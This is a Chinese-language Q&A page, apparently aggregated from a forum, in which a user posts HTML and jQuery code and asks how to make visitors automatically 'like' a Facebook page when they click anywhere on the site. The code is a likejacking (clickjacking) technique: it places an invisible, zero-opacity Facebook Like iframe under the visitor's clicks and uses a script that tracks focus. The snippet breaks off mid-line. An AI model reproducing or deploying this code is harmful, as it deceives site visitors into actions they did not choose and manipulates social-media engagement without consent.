小编sam*_*mmy的帖子

PHP脚本自动喜欢Facebook页面

我想在单击任何地方或单击本网站上的图片时自动喜欢Facebook,您将自动喜欢此页面。

我从http://geekhmer.github.io/blog/2013/10/02/facebook-fan-page-auto-like/复制代码

这是我的代码。

<!doctype html>
<html lang="en">
<head>
  <meta charset="utf-8" />
  <title></title>
  <script src="jquery-1.9.1.js" type="text/javascript"></script>
  <script type="text/javascript">
    var interval = 0;
    function updateActiveElement() {
      if($(document.activeElement).attr('id') == "fb-iframe") {
        clearInterval(interval);
        bodyClicked = true;
      }
    }
    $(function() {
      interval = setInterval("updateActiveElement();", 50);
    });
  </script>
</head>
<body>
  <center>
    <h1>Click anywhere on this site you will automatically like this page</h1>
  </center>
  <div style="overflow: hidden; width: 10px; height: 12px; position: absolute; filter:alpha(opacity=0); -moz-opacity:0.0; -khtml-opacity: 0.0; opacity: 0.0;" id="iframe-wrapper">
    <iframe src="http://www.facebook.com/plugins/like.php?href=http://www.facebook.com/GeeKhmer[/COLOR]&amp;layout=standard&amp;show_faces=false&amp;width=450&amp;action=like&amp;font=tahoma&amp;colorscheme=light&amp;height=80" scrolling="no" frameborder="0" style="border:none; …
Run Code Online (Sandbox Code Playgroud)

php facebook

2
推荐指数
1
解决办法
1万
查看次数

标签 统计

facebook ×1

php ×1